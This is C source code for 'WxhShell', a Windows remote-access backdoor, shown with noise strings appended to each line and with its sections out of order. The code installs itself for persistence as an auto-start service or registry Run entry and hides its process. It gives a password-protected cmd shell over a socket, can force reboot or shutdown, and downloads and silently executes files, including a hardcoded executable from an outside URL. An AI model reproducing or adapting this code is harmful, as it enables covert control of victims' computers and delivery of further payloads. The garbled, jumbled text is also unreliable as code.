    closesocket(wsh); +vSp+X1E  
    ExitThread(0); \G~<O071  
    } fJdTVs@  
    break; {Rv0@)P$  
    } XZew$Om[  
  // 关机 *;0Ods+IcY  
  case 'd': { ,QZNH?Cp/  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); xV+cX*4h  
    if(Boot(SHUTDOWN)) gNj~o^6|@  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); <`P7^ 'z!  
    else { 1oSU>I_i  
    closesocket(wsh); q(n PI  
    ExitThread(0); 0+m4 }]6l  
    } <W2 YG6^i  
    break; dJf#j?\[  
    } _KSlIgQ }0  
  // 获取shell @@QB,VS;{<  
  case 's': { ol#4AU`  
    CmdShell(wsh); zir?13N7  
    closesocket(wsh); "P9SW?',  
    ExitThread(0); W02t6DW  
    break; +DR,&;  
  } [Q:C\f]  
  // 退出 jFwu&e[9;  
  case 'x': { w dpd`  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); F=9-po  
    CloseIt(wsh); rJ^*8C!  
    break; *_,: &Ur  
    } 'X(Sn3  
  // 离开 )N}.n2Y8W  
  case 'q': { enB 2-)< K  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); a*3h|b<  
    closesocket(wsh); bH1MDBb2  
    WSACleanup(); v9K=\ j  
    exit(1); f$I$A(0P  
    break; }u&,;]  
        } 8oxYgj&~X  
  } ig}H7U2q@  
  } rT/4w#_3  
RGC DC*\  
  // 提示信息 L8.u7(-#  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); zYZ^/7)  
} eZ`x[g%1  
  } qQ^ bUpk0  
FS^ie|8{D-  
  return; )>+J`NFa  
} _Y 8RP%  
Cu-z`.#}R  
// shell模块句柄 ^>/] Qi  
int CmdShell(SOCKET sock) u[b0MNE~  
{ Hr}pO"%  
STARTUPINFO si; zLS=>iLD{  
ZeroMemory(&si,sizeof(si)); rpn&.#KS  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; &$<7]a\dM  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; rd hM#?  
PROCESS_INFORMATION ProcessInfo; K=Y{iHn  
char cmdline[]="cmd"; ~H\1dCW  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); #Ab,h#f*7  
  return 0; C[2LP$6*/  
} 1yT\|2ARZ%  
I>n2# -8  
// 自身启动模式 XMi)PXs$  
int StartFromService(void) lDF26<<\`  
{ ~X2 cTG!,  
typedef struct ov%.+5P  
{ s{@3G8  
  DWORD ExitStatus; ^^ +vt8|  
  DWORD PebBaseAddress; sA1 XtO<&7  
  DWORD AffinityMask; em, j>qp  
  DWORD BasePriority; ]<<+#Rg  
  ULONG UniqueProcessId; :(Uz`k7   
  ULONG InheritedFromUniqueProcessId; b+!I_g4P  
}   PROCESS_BASIC_INFORMATION; o)SA^5  
S<=|i  
PROCNTQSIP NtQueryInformationProcess; rG"QK!R5  
iD`>Bt7gD  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; #1VejeTi  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; jB-wJNP/  
}$D{YHF  
  HANDLE             hProcess; P d)<Iw^<  
  PROCESS_BASIC_INFORMATION pbi; ;UoXj+Z  
F ?.J1]  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); g6l&;S40  
  if(NULL == hInst ) return 0; OaCp3No  
eW.[M?,  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); {q^?Rw  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); w W1>#F  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); !dZpV~g0  
a/s6|ri`0  
  if (!NtQueryInformationProcess) return 0; r}~|,O3bc'  
/Z m5fw9  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); Qu6Q)dZ<  
  if(!hProcess) return 0; ganXO5T$  
!PuW6  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; \r^*4P,,  
"u.4@^+i  
  CloseHandle(hProcess); q A?j-H  
01AzM)U3"m  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); Qe;j_ BH  
if(hProcess==NULL) return 0; ptvM>zw'~g  
rn"}@5  
HMODULE hMod; +~cW0z  
char procName[255]; r5(-c]E7  
unsigned long cbNeeded; [2Rw)!N  
xGVL|/?8  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); I$vM )+v=  
9<Kc9Z  
  CloseHandle(hProcess); lL]8~3b  
&bw ``e&c  
if(strstr(procName,"services")) return 1; // 以服务启动 9G)q U  
3GU JlFj  
  return 0; // 注册表启动 .>bvI1  
} qw mZOR#  
o])2_e5  
// 主模块 F2k)hG*|{  
int StartWxhshell(LPSTR lpCmdLine) xfqW~&  
{ itmQH\9 8  
  SOCKET wsl; o;<oXv  
BOOL val=TRUE; MF%>avRj  
  int port=0; a eo/4  
  struct sockaddr_in door; BR[f{)a5  
b*@y/ e\u`  
  if(wscfg.ws_autoins) Install(); 0"O22<K3a  
A"` (^#a  
port=atoi(lpCmdLine); .f~x*@  
q9mYhT/Im  
if(port<=0) port=wscfg.ws_port; FMBzTD  
~IP3~m D  
  WSADATA data; ]'a9>o  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; <+2M,fq+  
"Ca?liy  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   2 - ?  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); *q/oS8vavd  
  door.sin_family = AF_INET; 5Zdxn>  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); h=Xr J  
  door.sin_port = htons(port); 7<?~A6  
tzFgPeo$;  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { b6E,u*)"  
closesocket(wsl); B\z4o\am%  
return 1; SOPQg?'n=V  
} %`Q<_LTU  
-A A='s  
  if(listen(wsl,2) == INVALID_SOCKET) { j)[ w X  
closesocket(wsl); R9B!F{! 5  
return 1; 4lqowg0  
} q>X%MN y  
  Wxhshell(wsl); bWAVBF  
  WSACleanup(); BHW8zY=F  
XCTee  
return 0; R0v5mD$:G  
hiN6]jL|O  
} -{A!zTw1w  
*0aU(E #  
// 以NT服务方式启动 ua -cX3E  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) (8*& 42W  
{ Y"U -Rc  
DWORD   status = 0; i C nWb  
  DWORD   specificError = 0xfffffff; k_c8\::p#  
k!lz_Y  
  serviceStatus.dwServiceType     = SERVICE_WIN32; l'2a?1/q  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; I}aiy.l  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; @I '_  
  serviceStatus.dwWin32ExitCode     = 0; %kg%ttu7  
  serviceStatus.dwServiceSpecificExitCode = 0; 7TC=$y ,  
  serviceStatus.dwCheckPoint       = 0; T"2D<7frbo  
  serviceStatus.dwWaitHint       = 0; ;&Oma`Ec  
9rn[46s`  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); _e;$Y#`EO  
  if (hServiceStatusHandle==0) return; z$d/Vz,a  
,\FJVS;NeJ  
status = GetLastError(); Y M_\ ZK:  
  if (status!=NO_ERROR) i-b++R/WN  
{ 27t23@{YL  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 'RlPj 0Cg  
    serviceStatus.dwCheckPoint       = 0; JKkR963 O  
    serviceStatus.dwWaitHint       = 0; P*# H]Pv  
    serviceStatus.dwWin32ExitCode     = status; U0+Hk+  
    serviceStatus.dwServiceSpecificExitCode = specificError; +##b}?S%  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); $Qv+*%c  
    return; ~8-Z=-  
  } H?P:;1A]c  
C NNyz$  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; L.[ H   
  serviceStatus.dwCheckPoint       = 0; 0.~Pzg  
  serviceStatus.dwWaitHint       = 0; w6fVZY4  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 76\ir<1up  
} FX FTf2*T  
xsx @aF  
// 处理NT服务事件,比如:启动、停止 62&(+'$n  
VOID WINAPI NTServiceHandler(DWORD fdwControl) }/yhwijg  
{ 1r?<1vh:z  
switch(fdwControl) /h ef3DV5I  
{ (=H%VXQH  
case SERVICE_CONTROL_STOP: Q`qHzb~%  
  serviceStatus.dwWin32ExitCode = 0; _M/ckv1q@  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; D-/K'|b  
  serviceStatus.dwCheckPoint   = 0; 6BihZ|H04  
  serviceStatus.dwWaitHint     = 0; ag-\(i;K]  
  { m"~^-mJ-  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 9ZL3p!  
  } @LS*WJ< w-  
  return; 8"4&IX  
case SERVICE_CONTROL_PAUSE: lEBt<  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; ,OX(z=i_  
  break;  #cqia0.H  
case SERVICE_CONTROL_CONTINUE: gc 14%  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; Hb KJ&^  
  break; gL(ny/Ob9  
case SERVICE_CONTROL_INTERROGATE: &i8AB{OU  
  break; Y. ]FVq  
}; iw\RQ 0  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); G SXe=?  
} /RuGh8qzP  
 iK$)Iy0  
// 标准应用程序主函数 "r!O9X6  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) !e?GS"L~  
{ O!}TZfC  
(bxSN@hp2  
// 获取操作系统版本 L\Uf+d:&}G  
OsIsNt=GetOsVer(); =h?WT*  
GetModuleFileName(NULL,ExeFile,MAX_PATH); y]B?{m``6  
7u!i)<pn  
  // 从命令行安装 ){|Bh3XV  
  if(strpbrk(lpCmdLine,"iI")) Install(); *.0}3  
GqXnOmk  
  // 下载执行文件 {H+~4XG  
if(wscfg.ws_downexe) { >;eWgQ6V  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) aU,Zjm7fp  
  WinExec(wscfg.ws_filenam,SW_HIDE); 'ao<gTUbu  
} (PjC]`FK  
XYtDovbv&  
if(!OsIsNt) { }1P>^I"[Y  
// 如果时win9x,隐藏进程并且设置为注册表启动 |*W`}i  
HideProc(); JzJS?ZF  
StartWxhshell(lpCmdLine); `H6-g=C  
} 5-M E Oy(  
else b-8{bP]n  
  if(StartFromService()) t<M^/xe2  
  // 以服务方式启动 V,<3uQD9a  
  StartServiceCtrlDispatcher(DispatchTable); #1i&!et&/  
else EELS-qA  
  // 普通方式启动 ,y}?Z 8?63  
  StartWxhshell(lpCmdLine); 5w)tsGX\  
e`%U}_[d  
return 0; @vdBA hXk  
} 'c3P3`o,;  
Vu '3%~  
-y70-K3  
Z,%^BAJ  
=========================================== aA?Uf~ "t  
&FF%VUfQJ  
96UL](l(`  
I@a y&NNh  
.5*h']iFr1  
=  *7K_M&  
" )mw#MTv<[  
+:3K?G -  
#include <stdio.h> ct+ ;W  
#include <string.h> g5X;]%:  
#include <windows.h> ;uj&j1  
#include <winsock2.h> >J+'hm@  
#include <winsvc.h> C?jk#T  
#include <urlmon.h> >58N P1[k  
Q H:k5V~  
#pragma comment (lib, "Ws2_32.lib") <rZ( B>$  
#pragma comment (lib, "urlmon.lib") K' xN>qc  
9MQ!5Zn  
#define MAX_USER   100 // 最大客户端连接数 'thWo wE  
#define BUF_SOCK   200 // sock buffer  n4;  
#define KEY_BUFF   255 // 输入 buffer ?AC flU_k  
+eSNwR=  
#define REBOOT     0   // 重启 % UDz4?zx  
#define SHUTDOWN   1   // 关机 o2  
I8;xuutc  
#define DEF_PORT   5000 // 监听端口 QOA7#H-m9  
36mp+}R#  
#define REG_LEN     16   // 注册表键长度 We&~]-b AW  
#define SVC_LEN     80   // NT服务名长度 (jbHV.]P9  
oc+TsVt  
// 从dll定义API h>AK^fX  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); fgrflW$  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 6-8,qk  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); K.s\xA5`_  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); EXDZehLD<]  
.)L%ANf  
// wxhshell配置信息 \c1u$'|v  
struct WSCFG { 5VD(fW[OW]  
  int ws_port;         // 监听端口 cPD&xVwq>  
  char ws_passstr[REG_LEN]; // 口令 IE7%u 92  
  int ws_autoins;       // 安装标记, 1=yes 0=no }71a3EUK  
  char ws_regname[REG_LEN]; // 注册表键名 \ng!qN  
  char ws_svcname[REG_LEN]; // 服务名 M0Y#=u.  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 +XV7W=  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 Y+vG ]?D  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 q<.m@q  
int ws_downexe;       // 下载执行标记, 1=yes 0=no 0LEJnl  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 84g$V}mp  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 \)KLm  
RCM;k;@8V  
}; 1vKAJ<4W  
O# n<`;W  
// default Wxhshell configuration !C13E lf  
struct WSCFG wscfg={DEF_PORT, ZfMDyS$.  
    "xuhuanlingzhe", MIa#\tJj  
    1, }8 V/Cd9  
    "Wxhshell", j#:IG/)GL  
    "Wxhshell", 7A6Qrfw  
            "WxhShell Service", (QS4<J"  
    "Wrsky Windows CmdShell Service", 8t)5b.PS  
    "Please Input Your Password: ", .V~z6  
  1, L=g(w$H  
  "http://www.wrsky.com/wxhshell.exe", W:5uoO]=<  
  "Wxhshell.exe" UnTnc6Bo7W  
    }; @ sLb=vb  
UAleGR`,  
// 消息定义模块 &CP]+ at  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; N_jpCCG~  
char *msg_ws_prompt="\n\r? for help\n\r#>"; +H"[WZ5  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; jQ>~  
char *msg_ws_ext="\n\rExit."; $K& #R-  
char *msg_ws_end="\n\rQuit."; '" MT$MrT  
char *msg_ws_boot="\n\rReboot..."; 1ym^G0"s  
char *msg_ws_poff="\n\rShutdown..."; &+0WZ#VI  
char *msg_ws_down="\n\rSave to "; {`RCh]W  
py \KY R  
char *msg_ws_err="\n\rErr!"; ]#$l"ss,  
char *msg_ws_ok="\n\rOK!"; bhk:Szqz  
6:\0=k5  
char ExeFile[MAX_PATH]; PB[ Y^q  
int nUser = 0; a-[:RJW  
HANDLE handles[MAX_USER]; B\WIoz;'  
int OsIsNt; \%],pZsA~  
tW$Di*h  
SERVICE_STATUS       serviceStatus; d WKjVf  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; .VD:FFkW  
9):h %o  
// 函数声明 w?eJVi@w{  
int Install(void); eMT}"u8$A  
int Uninstall(void); JSp V2c5Q  
int DownloadFile(char *sURL, SOCKET wsh); 4Ny lc.2mi  
int Boot(int flag); 6KH&-ffd  
void HideProc(void); lftT55Tki  
int GetOsVer(void); AFMIp^F  
int Wxhshell(SOCKET wsl); dd?ZQ:n  
void TalkWithClient(void *cs); _P].Z8  
int CmdShell(SOCKET sock); tJ 3Hg8;  
int StartFromService(void); "}|&eBH^<  
int StartWxhshell(LPSTR lpCmdLine); +"yt/9AO  
$3yzB9\a"  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); [hhPkJf|f  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); ve3-GWT{C  
tBB\^xq:  
// 数据结构和表定义 Hl|EySno  
SERVICE_TABLE_ENTRY DispatchTable[] = -F->l5  
{ cc0e(\  
{wscfg.ws_svcname, NTServiceMain}, v35!? 5{  
{NULL, NULL} %[l#S*)~  
}; :,8eM{.Q  
E]MyP=g$  
// 自我安装 K^6fg,&  
int Install(void) }c]u'a!4  
{ pnTuYT^%)  
  char svExeFile[MAX_PATH]; vx7wW<e%D  
  HKEY key; "a T "o  
  strcpy(svExeFile,ExeFile); tKP zM  
oS0rP'V^  
// 如果是win9x系统,修改注册表设为自启动 ,$oz1,Q/  
if(!OsIsNt) { A?zxF5rfp  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { =NNA7E7c  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); )@\Eibt2oH  
  RegCloseKey(key); ABG>W>H-S  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { rCH? R   
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 1EmZ/@k/Y  
  RegCloseKey(key); [TaYNc!\  
  return 0; "e;wN3/bF  
    } ! <O,xI'  
  } 8+|7*Ud  
} <&CzM"\Em  
else { &sA@!  
Y^(NzN  
// 如果是NT以上系统,安装为系统服务 Kk9eJ\  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); PrQs_ t Ni  
if (schSCManager!=0) <jz\U7TBf  
{ be+]kp  
  SC_HANDLE schService = CreateService yN/Uyhq  
  ( {Gi:W/jJ  
  schSCManager, E|9'{3$  
  wscfg.ws_svcname, w8KVs\/  
  wscfg.ws_svcdisp, nW"ml$  
  SERVICE_ALL_ACCESS, JI7.:k;  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , A< *G;  
  SERVICE_AUTO_START, w~|z0;hC  
  SERVICE_ERROR_NORMAL, *.P3fVlZ  
  svExeFile, Jc9BZ`~i  
  NULL, 3:B4;  
  NULL, _/pdZM,V  
  NULL, %CaF-m=Pq  
  NULL, x6iT"\MO  
  NULL ^v+7IFn  
  ); kf -/rC)>  
  if (schService!=0) j"Y5j B`  
  { d{FD.eI 0  
  CloseServiceHandle(schService); >XU93 )CX  
  CloseServiceHandle(schSCManager); @\)a&p]a  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); Y(97},  
  strcat(svExeFile,wscfg.ws_svcname); ;)rs#T;$  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { g@s'-8}X^  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); ,/1[(^e  
  RegCloseKey(key); iosL&*'8  
  return 0;  XKEbK\  
    } @7z_f!'u  
  } W^T6^q5;H  
  CloseServiceHandle(schSCManager); PvkHlb^x%  
} 4+2hj*I  
}  Z5[f  
%:=Jr#a  
return 1; LQ'VhNU  
} UEh-k"  
WEZ)>[Xj?  
// 自我卸载 DcmRb/AP*  
int Uninstall(void) Y)KO*40c  
{ R1/87eB  
  HKEY key; > Du>vlT Y  
'i7!"Y6>  
if(!OsIsNt) { ?5Ub&{  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { c&>==pI]k  
  RegDeleteValue(key,wscfg.ws_regname); >XomjU[srQ  
  RegCloseKey(key); V+MhS3VD  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ZNjqH[  
  RegDeleteValue(key,wscfg.ws_regname); f<K7m  
  RegCloseKey(key); j87IxB?o  
  return 0; 1v"r8=Wt  
  } M\w%c5  
} R3!3TJ  
} &-B&s.,kj  
else { Q!(qL[o  
(.J8Q  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); m=e#1Hs   
if (schSCManager!=0) z<Y >phc  
{ 63Dm{ 2i}F  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); *=~X1s  
  if (schService!=0) lBcRt)_O7  
  { qcdENIy0b  
  if(DeleteService(schService)!=0) { lk. ;  
  CloseServiceHandle(schService); }rbsarG@  
  CloseServiceHandle(schSCManager); [R9!Tz  
  return 0; BdYl sYp  
  } > qDHb'  
  CloseServiceHandle(schService); "YQ%j+  
  } eK_Yt~dj  
  CloseServiceHandle(schSCManager); p}{V%!`_  
} !tr /$  
} )9mUE*[  
%. -nZC  
return 1; R`F8J}X_  
} ?&>H^}gDZ  
}y P98N5o  
// 从指定url下载文件 /{7we$+,p  
int DownloadFile(char *sURL, SOCKET wsh) AYLCdCoK.  
{  l6uU S  
  HRESULT hr; /*2sg>e'QF  
char seps[]= "/"; cQ<* (KU  
char *token; Xy'qgK?  
char *file; G ?&T0  
char myURL[MAX_PATH]; e)x;3r"j  
char myFILE[MAX_PATH]; jpW(w($XL  
t 9Dr%#  
strcpy(myURL,sURL); 76M`{m  
  token=strtok(myURL,seps); }5qjGD  
  while(token!=NULL) r" )zR,  
  { 2xJT!lN  
    file=token; DHO+JtO  
  token=strtok(NULL,seps); q*kieqG  
  } SjRR8p<   
!&=%#i  
GetCurrentDirectory(MAX_PATH,myFILE); A1u|L^  
strcat(myFILE, "\\"); <1EmQ)B   
strcat(myFILE, file); ~RS^O poa  
  send(wsh,myFILE,strlen(myFILE),0); H%:u9DlEK/  
send(wsh,"...",3,0); <(<19t5.  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); B%e#u.'6  
  if(hr==S_OK) %M_5C4&6  
return 0; B,dHhwO*l  
else uY5Gn.Y  
return 1; S.kFs{;1x  
d PfD Pb  
} _-.~>C  
raPUx_$PH  
// 系统电源模块 9&t!U+  
int Boot(int flag) ;"@FLq(n  
{ H%\\-Z$#  
  HANDLE hToken; D@yuldx'/  
  TOKEN_PRIVILEGES tkp; 8*V8B=q}K  
uVBMI.&w  
  if(OsIsNt) { ->S6S_H/+&  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); EjYCOb-  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); M+N7JpR  
    tkp.PrivilegeCount = 1; koizk&)  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; b[I;6HW  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 2r]!$ hto  
if(flag==REBOOT) { rLm:qu(F1  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) dGb]`*E  
  return 0; c*"TmDY  
} ecI[lB  
else { E*t0ia8  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) &_!g|-  
  return 0; bC mhlSNi  
} aF'9&A;q  
  } t,8p}2,$  
  else { tR]1c  
if(flag==REBOOT) { 8'kA",P  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) B?xu!B,  
  return 0; ZoiCdXvTN  
}  9g*MBe:  
else { "w\Iz]  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) W]v[Xm$q  
  return 0; Je6=N3)  
} pSq3\#Twr  
} )n[ oP%  
GAlAFsB  
return 1; N!e?K=}tL  
} Dl#%tYL+3h  
Odo"S;)  
// win9x进程隐藏模块 -;?5<>zZ  
void HideProc(void) w]{NaNIeq1  
{ }0({c~z\  
I2!0,1Q  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); Yz?1]<X  
  if ( hKernel != NULL ) 1/bu}?a  
  { mYudUn4Wo  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); k_=~ObA$g  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); BlV k?n  
    FreeLibrary(hKernel); ?6bk&"T?  
  } 4^KoH eM6  
rX%qWhiEJ  
return; j;O{Hvvz  
} ='7n  
USnKj_e  
// 获取操作系统版本 .bm#|X)RO  
int GetOsVer(void) <9S?wju4W'  
{ KJwkkCE/=  
  OSVERSIONINFO winfo; I]`>m3SJ  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); NAj1ORy4pX  
  GetVersionEx(&winfo); P7I,xcOm  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) `ecuquX'  
  return 1; *XmOWV2Y_  
  else +|OkT  
  return 0; 0 mWfR8h0  
} ] =jnt  
TA}z3!-y*  
// 客户端句柄模块 Qhnz7/a9  
int Wxhshell(SOCKET wsl) A}#@(ma7  
{ bl>MD8bzLE  
  SOCKET wsh; ]u_^~  
  struct sockaddr_in client; `F>1xMm  
  DWORD myID; W 9Z.X!h  
VZ*Q|  
  while(nUser<MAX_USER) E5lC'@Dcz  
{ #;RP ?s  
  int nSize=sizeof(client); vpY|S2w)Bp  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); :\*hAV1i  
  if(wsh==INVALID_SOCKET) return 1; -#b-@sD  
icF -`m  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); _c|>m4+X  
if(handles[nUser]==0) eBTy!!  
  closesocket(wsh); ^c1I'9(r5  
else #ZIV>(Q\H  
  nUser++; N1Y*IkW"  
  } VwoCR q*  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); (~TP  
t%Z_*mIfmE  
  return 0; ??rx\*,C</  
} ,z)7rU`  
nm*!#hx  
// 关闭 socket $7aRf'  
void CloseIt(SOCKET wsh) lC6#EU;  
{ Kg>+5~+E?q  
closesocket(wsh); L_jwM ^8  
nUser--; _Bh-*l?K>  
ExitThread(0); o(~>a  
} :&`Yz   
c3|;'s  
// 客户端请求句柄 yov:JnWo  
void TalkWithClient(void *cs) ?Z] }G  
{ \1RQ),5 %]  
cW),Y|8  
  SOCKET wsh=(SOCKET)cs;  !+IxPn  
  char pwd[SVC_LEN]; c?d+>5"VX  
  char cmd[KEY_BUFF]; 4i[3|hv'  
char chr[1]; +I2P{7  
int i,j; pM\)f  
B4&@PX"'>,  
  while (nUser < MAX_USER) { Z>a_vC  
r3w.$  
if(wscfg.ws_passstr) { 5SX0g(C  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ,u( g#T  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); u *z$I  
  //ZeroMemory(pwd,KEY_BUFF); 1z~;c|  
      i=0; @l&5 |Cia  
  while(i<SVC_LEN) { 6.~(oepu  
*ZGQ`#1.X6  
  // 设置超时 x}1(okc  
  fd_set FdRead; ~SJOynSz,  
  struct timeval TimeOut; ls,gQ]B:P  
  FD_ZERO(&FdRead); ")HTUlcAe}  
  FD_SET(wsh,&FdRead); )G ,LG0"-  
  TimeOut.tv_sec=8; Z8k O*LYv  
  TimeOut.tv_usec=0; QA.B.U7!  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); bqf=;Nvog  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); X8bo?0  
)TM![^d  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); +:It1`A~]  
  pwd=chr[0]; +F 6KGK[  
  if(chr[0]==0xd || chr[0]==0xa) { M.d{:&@`%  
  pwd=0; 622mNY  
  break; ms ;RJT2O'  
  } 3Du&KZ  
  i++; "S[VtuxPCU  
    } "SyyOD )WA  
nH% /  
  // 如果是非法用户,关闭 socket g@nk0lQewj  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); + 7E6U*  
} /D8cJgH-  
+zs;>'Sf  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); <g,k[  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); O(/K@e  
1WcT>_$  
while(1) { J~<:yBup}  
QsDa b4  
  ZeroMemory(cmd,KEY_BUFF); vD1jxk'fd  
BD=;4SLT  
      // 自动支持客户端 telnet标准   IQScsqM  
  j=0; s&y  
  while(j<KEY_BUFF) { HK&F'\'}  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); N ~M:+ \  
  cmd[j]=chr[0]; &.7\{q\(  
  if(chr[0]==0xa || chr[0]==0xd) { -mX _I{BJ  
  cmd[j]=0; )l30~5u<J  
  break; f*5=,$0  
  } uVu`TgbZ  
  j++; )KBv[|  
    } FNmIXpAn*@  
<`| }bt  
  // 下载文件 K~,,xsy,G&  
  if(strstr(cmd,"http://")) { ZQl[h7c/N  
